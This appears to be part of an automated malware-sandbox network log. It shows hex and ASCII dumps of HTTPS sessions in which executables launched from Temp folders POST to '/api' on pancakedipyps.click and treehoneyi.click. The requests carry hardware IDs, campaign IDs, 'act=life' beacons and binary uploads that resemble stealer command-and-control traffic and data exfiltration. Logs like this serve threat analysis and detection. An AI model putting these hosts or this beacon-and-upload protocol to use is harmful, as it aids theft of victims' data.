46e6cEcR8QCzAakyIz6PLv/EUibBQ5ze/PNNmqtPfBCjfqS42pl/jbgJNetrsBIyYp0ZLlkalFBlaxaGcgR0jTg2NOnfSu3Z+AkwbCuwGfA3XQmuT8sFhGRrFoIzFafMuGZga17L6FhqGfIpemfWdqVfyH2bWNRV9GoTEiXH70n+ZukoG8s5n/gfYat4tgGmZ50KvdjahgTm6VSCclXgCvrkoGjeC6raLxqwqLimVPa3T1q/n8
2024-12-20 03:12:20 UTC	897	IN	Data Raw: 73 53 56 6e 43 6e 56 63 5a 33 6b 71 66 4d 4f 6e 59 6c 4f 31 6e 5a 61 46 73 37 6a 79 47 6f 75 4b 57 57 39 71 53 64 43 76 35 64 57 4d 52 47 70 6d 6e 55 41 4c 41 55 4a 30 75 35 5a 2b 44 71 6e 6b 71 6f 57 69 6f 61 38 58 71 6f 4e 68 5a 77 64 30 72 61 74 6c 33 62 78 49 4e 6e 4c 34 55 46 34 46 47 30 69 66 6a 32 4e 50 6a 65 43 75 6e 62 61 35 32 7a 71 48 6c 6e 55 7a 53 6c 48 34 6e 2b 57 70 6d 48 68 71 52 71 46 34 43 77 46 57 57 4c 65 4b 65 69 36 4d 2b 61 2b 5a 6e 74 69 53 65 36 73 32 64 54 74 36 52 5a 57 6a 44 4a 33 4e 66 41 4e 47 6f 57 45 69 58 48 35 6f 6c 37 4a 75 41 72 48 30 74 72 58 4b 75 64 73 43 6e 36 34 70 59 33 4a 4e 35 4b 65 74 74 59 68 63 61 6d 4b 52 64 44 63 68 62 30 6d 36 76 6e 35 50 6a 4a 6d 57 48 62 61 56 6f 7a 4c 33 75 32 45 47 58 68 44 4d 74 39 53 Data Ascii: sSVnCnVcZ3kqfMOnYlO1nZaFs7jyGouKWW9qSdCv5dWMRGpmnUALAUJ0u5Z+DqnkqoWioa8XqoNhZwd0ratl3bxINnL4UF4FG0ifj2NPjeCunba52zqHlnUzSlH4n+WpmHhqRqF4CwFWWLeKei6M+a+ZntiSe6s2dTt6RZWjDJ3NfANGoWEiXH5ol7JuArH0trXKudsCn64pY3JN5KettYhcamKRdDchb0m6vn5PjJmWHbaVozL3u2EGXhDMt9S
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 34 34 61 65 0d 0a 42 36 55 51 62 66 74 68 51 50 77 78 2f 4b 59 4f 43 58 68 4b 74 2b 4a 4b 4a 74 71 6d 58 4c 70 75 65 62 55 74 57 56 66 69 62 39 61 47 51 5a 47 70 6d 39 57 67 62 4a 57 5a 49 6c 72 39 62 4c 70 47 5a 6c 2f 69 43 4b 61 74 47 2b 35 64 70 72 32 70 4e 39 4c 65 38 6e 63 31 38 41 30 61 68 59 53 4a 63 66 6e 43 33 6b 6c 49 79 71 66 79 61 6d 61 71 42 72 7a 4b 4c 6d 6d 46 50 59 6c 6e 73 73 39 47 78 6a 48 68 36 5a 72 46 67 4e 77 6c 7a 53 62 71 2b 66 6b 2b 4d 6d 5a 59 4e 75 72 58 58 58 36 4e 75 62 55 4e 65 61 5a 57 72 6d 4b 58 56 52 48 70 33 76 44 45 6a 46 57 4a 55 6b 34 70 4b 49 70 33 6f 6f 71 57 6d 6e 62 64 53 67 34 70 5a 4d 31 4a 64 32 4a 50 56 69 59 78 45 59 6b 4b 46 65 41 34 38 52 30 69 66 33 32 4e 50 6a 55 53 69 32 63 71 52 76 31 2b 6a 62 6d 31 44 Data Ascii: 44aeB6UQbfthQPwx/KYOCXhKt+JKJtqmXLpuebUtWVfib9aGQZGpm9WgbJWZIlr9bLpGZl/iCKatG+5dpr2pN9Le8nc18A0ahYSJcfnC3klIyqfyamaqBrzKLmmFPYlnss9GxjHh6ZrFgNwlzSbq+fk+MmZYNurXXX6NubUNeaZWrmKXVRHp3vDEjFWJUk4pKIp3ooqWmnbdSg4pZM1Jd2JPViYxEYkKFeA48R0if32NPjUSi2cqRv1+jbm1D
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 74 5a 6b 65 68 74 5a 6a 75 46 4e 53 4d 68 54 30 6e 69 76 6b 6f 65 6e 66 53 6d 76 62 4b 4e 6c 77 71 33 6a 6e 46 37 66 6d 33 59 72 38 6d 39 67 48 68 4f 64 71 31 67 42 79 56 4f 52 49 2b 6e 59 78 65 4e 35 50 65 59 34 37 6b 58 4c 6f 65 4b 59 58 63 69 61 4d 32 53 35 61 57 6f 52 57 63 6d 35 52 42 2f 49 51 4e 77 35 72 35 2b 48 34 79 5a 6c 72 48 4b 72 61 73 4b 67 36 35 78 53 30 35 31 32 4f 50 46 68 61 78 30 52 6c 4b 42 53 44 63 4a 59 6d 53 50 39 69 6f 69 6e 63 43 6e 6d 4c 75 35 6a 33 75 71 32 32 48 76 4f 6e 6d 4d 73 2b 69 64 7a 58 77 44 52 71 46 68 49 6c 78 2b 53 4c 75 4f 54 6a 4b 68 31 49 61 4a 67 6f 32 2f 49 70 4f 65 55 56 74 57 61 59 53 66 38 62 32 59 59 48 4a 32 69 56 78 72 4d 58 74 4a 75 72 35 2b 54 34 79 5a 6c 67 56 4f 5a 52 34 61 31 6f 49 45 65 33 70 45 7a Data Ascii: tZkehtZjuFNSMhT0nivkoenfSmvbKNlwq3jnF7fm3Yr8m9gHhOdq1gByVORI+nYxeN5PeY47kXLoeKYXciaM2S5aWoRWcm5RB/IQNw5r5+H4yZlrHKrasKg65xS0512OPFhax0RlKBSDcJYmSP9ioincCnmLu5j3uq22HvOnmMs+idzXwDRqFhIlx+SLuOTjKh1IaJgo2/IpOeUVtWaYSf8b2YYHJ2iVxrMXtJur5+T4yZlgVOZR4a1oIEe3pEz
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 38 65 45 74 47 77 47 68 47 50 57 4a 35 67 74 39 69 4d 71 33 59 72 70 57 61 6c 61 4d 71 72 35 35 35 62 30 5a 70 38 4c 66 42 67 62 42 63 4c 6c 71 4a 64 43 4d 52 57 6d 43 54 75 6b 38 76 74 50 69 4b 2b 49 50 59 6b 39 4b 33 34 69 46 32 5a 67 6a 30 7a 75 57 42 67 55 55 48 52 6f 6b 59 4a 79 6b 32 57 4c 2b 53 4b 67 4b 56 2b 49 4c 52 6e 6f 6d 37 4a 71 65 61 56 58 64 47 50 63 79 66 35 64 58 34 58 45 70 2f 76 47 6b 6a 49 52 39 4a 34 72 36 6d 63 71 44 34 36 36 48 6e 75 59 38 72 71 74 74 68 64 30 35 42 39 4f 50 31 68 5a 78 49 58 6d 61 70 63 44 4d 56 53 6e 53 76 6c 6b 59 4f 6a 63 53 43 75 61 36 68 71 78 36 7a 69 6c 52 36 58 33 58 51 79 75 54 38 73 4e 67 4f 63 71 55 4d 5a 2b 6c 69 53 63 61 2b 48 78 62 6f 2b 49 71 6f 67 39 69 54 4c 70 75 53 56 57 39 32 56 64 43 6e 34 61 Data Ascii: 8eEtGwGhGPWJ5gt9iMq3YrpWalaMqr555b0Zp8LfBgbBcLlqJdCMRWmCTuk8vtPiK+IPYk9K34iF2Zgj0zuWBgUUHRokYJyk2WL+SKgKV+ILRnom7JqeaVXdGPcyf5dX4XEp/vGkjIR9J4r6mcqD466HnuY8rqtthd05B9OP1hZxIXmapcDMVSnSvlkYOjcSCua6hqx6zilR6X3XQyuT8sNgOcqUMZ+liSca+Hxbo+Iqog9iTLpuSVW92VdCn4a
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 64 37 77 78 49 77 56 4b 55 49 65 36 51 67 36 4e 34 4c 36 4a 6a 70 32 66 42 6f 2b 69 54 58 64 4f 53 64 43 7a 39 5a 32 63 57 46 35 65 71 58 77 47 50 45 64 49 6e 39 39 6a 54 34 31 67 47 74 48 4b 63 61 73 57 78 72 6f 63 51 77 4e 31 30 4a 72 6b 2f 4c 42 6f 52 6e 72 31 52 41 63 64 62 6d 79 44 72 6b 6f 61 6b 66 69 43 72 5a 61 70 71 77 71 33 75 6c 46 48 65 6c 58 77 75 2b 57 67 73 58 31 6d 57 74 78 52 51 6a 33 2b 5a 4e 73 36 57 67 4c 45 2b 4f 75 68 35 37 6d 50 4b 36 72 62 59 55 4e 43 63 65 79 54 31 62 32 67 44 47 5a 71 6d 57 77 6e 41 58 35 45 68 35 5a 43 5a 70 58 34 75 72 6d 65 6d 59 4d 69 34 37 35 63 65 6c 39 31 30 4d 72 6b 2f 4c 43 41 50 6c 71 68 62 53 75 5a 59 69 53 48 6c 6d 34 43 76 50 6a 72 6f 65 65 35 6a 79 75 71 32 32 46 50 56 6b 48 63 34 39 57 64 73 47 42 Data Ascii: d7wxIwVKUIe6Qg6N4L6Jjp2fBo+iTXdOSdCz9Z2cWF5eqXwGPEdIn99jT41gGtHKcasWxrocQwN10Jrk/LBoRnr1RAcdbmyDrkoakfiCrZapqwq3ulFHelXwu+WgsX1mWtxRQj3+ZNs6WgLE+Ouh57mPK6rbYUNCceyT1b2gDGZqmWwnAX5Eh5ZCZpX4urmemYMi475cel910Mrk/LCAPlqhbSuZYiSHlm4CvPjroee5jyuq22FPVkHc49WdsGB
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 42 73 70 65 6e 69 72 6f 6c 70 6d 69 64 43 6d 6e 5a 36 6c 76 31 4b 48 38 6b 31 62 61 6b 33 73 6a 2b 57 6c 73 45 42 53 52 37 78 70 49 79 45 66 53 65 4b 2b 39 71 4c 52 6f 4c 2b 52 44 75 58 4c 4d 72 65 4b 4f 56 64 69 65 5a 53 66 70 4a 79 4a 52 43 4a 61 2b 46 46 44 5a 54 34 55 6e 38 4e 61 53 34 33 6b 70 35 6a 6a 75 62 38 6d 6b 34 35 4e 61 30 4a 68 37 4b 66 78 69 5a 68 30 56 6b 4b 64 64 41 73 70 61 6c 43 72 73 6c 6f 53 69 63 69 47 76 62 71 63 6b 69 4f 72 70 67 42 36 42 33 55 55 36 2f 6e 39 68 41 56 75 6a 72 45 55 5a 32 6c 4b 43 4a 71 32 33 69 4b 39 39 49 4b 46 77 37 6e 75 49 73 36 36 66 55 70 6e 46 4d 79 72 39 61 32 38 57 46 35 36 69 57 77 2f 45 55 4a 67 75 2f 5a 65 4f 71 33 49 74 71 33 4b 6b 62 74 53 6a 35 35 56 51 30 59 39 77 61 72 63 6e 61 77 6c 5a 79 65 39 Data Ascii: BspenirolpmidCmnZ6lv1KH8k1bak3sj+WlsEBSR7xpIyEfSeK+9qLRoL+RDuXLMreKOVdieZSfpJyJRCJa+FFDZT4Un8NaS43kp5jjub8mk45Na0Jh7KfxiZh0VkKddAspalCrsloSiciGvbqckiOrpgB6B3UU6/n9hAVujrEUZ2lKCJq23iK99IKFw7nuIs66fUpnFMyr9a28WF56iWw/EUJgu/ZeOq3Itq3KkbtSj55VQ0Y9warcnawlZye9
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 6f 51 74 2f 35 75 4f 70 45 41 62 71 47 65 36 59 38 69 73 37 74 67 51 6d 5a 49 7a 63 73 41 6e 4a 46 45 6d 33 2b 39 4d 53 4a 63 66 70 79 50 68 6c 6f 79 31 62 32 69 46 64 37 68 75 33 65 6a 49 6e 30 2f 51 69 33 34 34 75 53 6b 73 46 31 6e 4a 2f 78 70 49 79 30 37 53 65 4c 2f 4b 30 50 59 74 63 76 59 79 73 53 72 66 36 76 6a 59 42 6f 76 54 4d 7a 69 35 50 79 78 57 47 6f 4f 39 55 67 76 5a 58 4e 55 65 30 62 69 41 74 58 38 6f 72 57 79 51 57 74 4f 70 34 4a 5a 5a 7a 34 77 7a 5a 4c 6c 6f 4c 45 6b 67 30 65 63 55 4e 34 45 66 69 6d 43 33 32 4c 36 67 63 43 75 68 64 72 38 70 35 71 48 34 6d 56 50 53 6b 54 45 72 39 48 64 72 55 56 66 52 71 52 52 51 6e 78 48 53 4a 50 37 59 30 2f 4d 73 66 76 4d 7a 2b 54 53 55 74 61 43 42 48 73 2f 64 4b 33 69 33 4a 33 35 52 51 64 48 6f 56 78 72 64 Data Ascii: oQt/5uOpEAbqGe6Y8is7tgQmZIzcsAnJFEm3+9MSJcfpyPhloy1b2iFd7hu3ejIn0/Qi344uSksF1nJ/xpIy07SeL/K0PYtcvYysSrf6vjYBovTMzi5PyxWGoO9UgvZXNUe0biAtX8orWyQWtOp4JZZz4wzZLloLEkg0ecUN4EfimC32L6gcCuhdr8p5qH4mVPSkTEr9HdrUVfRqRRQnxHSJP7Y0/MsfvMz+TSUtaCBHs/dK3i3J35RQdHoVxrd
2024-12-20 03:12:20 UTC	1369	IN	Data Raw: 79 59 67 4f 4d 77 5a 61 41 67 39 6a 61 49 36 75 71 4a 48 6f 48 4e 49 58 47 73 4e 44 74 42 53 34 37 68 54 55 6a 5a 48 38 70 79 6f 64 69 5a 34 79 5a 6c 34 57 4f 38 64 73 43 70 2b 4a 73 5a 35 36 4e 56 4b 66 35 68 62 78 38 4f 67 4f 31 37 43 38 52 54 6e 69 66 35 70 72 57 32 66 53 75 6f 5a 37 68 31 68 75 53 75 6c 78 36 42 70 44 4d 37 38 32 41 67 57 56 57 41 76 46 6f 44 32 56 6a 53 48 36 48 59 6b 2b 4d 6d 5a 5a 4e 6a 6f 47 72 42 76 50 2f 56 65 4e 71 61 64 53 6e 33 63 48 31 52 56 39 47 70 46 46 43 64 45 64 49 6b 2f 74 6a 54 38 79 78 2b 38 7a 50 35 4e 4a 53 31 6f 49 45 65 7a 39 30 72 65 62 63 6e 66 6c 46 42 30 65 68 61 42 63 35 63 6e 43 50 39 69 6f 32 67 61 43 62 68 58 70 42 42 79 36 66 72 6c 6c 6e 6e 6f 31 49 67 36 57 70 6a 46 69 65 76 6d 45 55 50 33 78 32 30 49 Data Ascii: yYgOMwZaAg9jaI6uqJHoHNIXGsNDtBS47hTUjZH8pyodiZ4yZl4WO8dsCp+JsZ56NVKf5hbx8OgO17C8RTnif5prW2fSuoZ7h1huSulx6BpDM782AgWVWAvFoD2VjSH6HYk+MmZZNjoGrBvP/VeNqadSn3cH1RV9GpFFCdEdIk/tjT8yx+8zP5NJS1oIEez90rebcnflFB0ehaBc5cnCP9io2gaCbhXpBBy6frllnno1Ig6WpjFievmEUP3x20I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49800	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:22 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X00FR91F9PBAZ5Z2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18150 Host: pancakedipyps.click
2024-12-20 03:12:22 UTC	15331	OUT	Data Raw: 2d 2d 58 30 30 46 52 39 31 46 39 50 42 41 5a 35 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 30 30 46 52 39 31 46 39 50 42 41 5a 35 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 30 30 46 52 39 31 46 39 50 42 41 5a 35 5a 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 58 30 30 Data Ascii: --X00FR91F9PBAZ5Z2Content-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--X00FR91F9PBAZ5Z2Content-Disposition: form-data; name="pid"2--X00FR91F9PBAZ5Z2Content-Disposition: form-data; name="lid"FATE99--test--X00
2024-12-20 03:12:22 UTC	2819	OUT	Data Raw: 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 Data Ascii: h/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!
2024-12-20 03:12:23 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7frnsd9r74cgdjrtsdsln0dfgt; expires=Mon, 14 Apr 2025 20:59:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ks%2BGgyIBX0OkSHG4gTGK8MflPbpltuAHwL8eFXDHl0Y45l5NYi1T5KxQBfBoCHTozRimG2%2BsLKuveq56yKEIVD3ZbF5ihJ8Q%2BytcDwNUirxGxKThsoxFICoqkCh3Auai1d6edTRO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c734aea787287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2056&min_rtt=2054&rtt_var=775&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19113&delivery_rate=1407228&cwnd=191&unsent_bytes=0&cid=54e75482d0f08541&ts=1157&x=0"
2024-12-20 03:12:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49806	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:24 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 03:12:24 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 03:12:24 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nhoe7h47ku73vbhn46vjklp11b; expires=Mon, 14 Apr 2025 20:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GtIhaDvH4pQLvhZd%2BscFWpI0OwbiLe%2BvYKkXWkADyNGRPeCwezZ5aSCLdozswBrUcJaEgShxLw%2FPNqCs2KonF76M2uPAFEEDIQ7Rw%2FOluMTYlds4Wkgv7H7Zf6%2FvOhEeVjTJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c73582d551a44-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1882&min_rtt=1787&rtt_var=861&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1143752&cwnd=128&unsent_bytes=0&cid=2c20e99ce760385b&ts=768&x=0"
2024-12-20 03:12:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 03:12:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49808	104.21.23.76	443	1028	C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:24 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1BC9ZEAOR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8729 Host: pancakedipyps.click
2024-12-20 03:12:24 UTC	8729	OUT	Data Raw: 2d 2d 31 42 43 39 5a 45 41 4f 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 45 34 45 39 35 30 42 41 37 35 34 46 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 42 43 39 5a 45 41 4f 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 42 43 39 5a 45 41 4f 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 31 42 43 39 5a 45 41 4f 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --1BC9ZEAORContent-Disposition: form-data; name="hwid"E6E4E950BA754FDDAC8923850305D13E--1BC9ZEAORContent-Disposition: form-data; name="pid"2--1BC9ZEAORContent-Disposition: form-data; name="lid"FATE99--test--1BC9ZEAORContent-Dispo
2024-12-20 03:12:25 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hodb6m9d4luf39q9e17b4koo5b; expires=Mon, 14 Apr 2025 20:59:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TVNXHQWQZ3n%2FrpF6KMMBPJVZFkFWqrXJjObxa5P%2Frz7waQJmX7tShJL1LM4hEdKMWfzqGJWuxHCppj5AaSKRYmlmVqX6hh5N1iF4F8eLgYLHxdRNeuxeEuU%2BinQsw7JMw5EGrEVN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c735c39ccc40c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3614&min_rtt=1612&rtt_var=1960&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2849&recv_bytes=9662&delivery_rate=1811414&cwnd=221&unsent_bytes=0&cid=4c207140faf2c807&ts=915&x=0"
2024-12-20 03:12:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 03:12:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49811	104.21.91.209	443	6856	C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 03:12:26 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: treehoneyi.click
2024-12-20 03:12:26 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=rAGxSF--Support&j=
2024-12-20 03:12:26 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 03:12:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3s77h1jvnre2qb8tfu21i1qu07; expires=Mon, 14 Apr 2025 20:59:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B6aaIu1bivFSL2GfnUjlZoDHyqptgzz%2B5G6hPVahxENAlz%2Fiev7rxKE0ayMVPXIxdFFUkrtdlyBTNvryBkvXTqcO06btsvOYOzqotygLCuoR62GYsaR%2FmsRaFk0Q0oOGZkz7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4c7364adf04391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1699&rtt_var=669&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=949&delivery_rate=1596500&cwnd=237&unsent_bytes=0&cid=e1a4aac1c28a422a&ts=801&x=0"
2024-12-20 03:12:26 UTC	246	IN	Data Raw: 34 36 37 0d 0a 41 57 34 38 6c 52 79 5a 39 4b 42 4f 6f 4b 4c 6b 42 45 68 71 53 4f 50 76 68 6a 65 6e 70 6a 6b 31 33 64 79 33 50 52 42 6f 42 46 31 36 54 45 71 33 4a 71 33 59 67 6a 33 46 67 4e 35 77 4f 68 38 74 7a 38 33 6e 55 34 57 63 58 31 53 78 72 39 49 52 4d 68 35 70 66 7a 73 49 58 66 6c 76 2f 4e 69 43 4b 39 69 41 33 6c 38 7a 53 43 32 4e 7a 62 77 56 77 73 78 62 56 4c 47 2b 31 6c 5a 2f 47 47 67 2b 61 51 4a 62 2f 58 6e 36 6b 4d 45 69 7a 63 65 42 59 53 6b 41 4a 6f 71 43 37 6c 71 46 69 68 74 51 70 2f 36 4e 48 31 30 4e 63 44 78 4d 44 30 2f 2b 50 75 54 59 32 32 7a 46 7a 4d 59 2b 61 67 73 74 67 59 50 67 55 38 7a 4f 55 56 32 35 76 39 4e 58 59 41 46 69 4e 57 6b 4d 57 50 78 7a 38 34 54 4d 4b 4d 72 4d 68 32 73 70 53 47 54 42 69 76 77 56 6e Data Ascii: 467AW48lRyZ9KBOoKLkBEhqSOPvhjenpjk13dy3PRBoBF16TEq3Jq3Ygj3FgN5wOh8tz83nU4WcX1Sxr9IRMh5pfzsIXflv/NiCK9iA3l8zSC2NzbwVwsxbVLG+1lZ/GGg+aQJb/Xn6kMEizceBYSkAJoqC7lqFihtQp/6NH10NcDxMD0/+PuTY22zFzMY+agstgYPgU8zOUV25v9NXYAFiNWkMWPxz84TMKMrMh2spSGTBivwVn
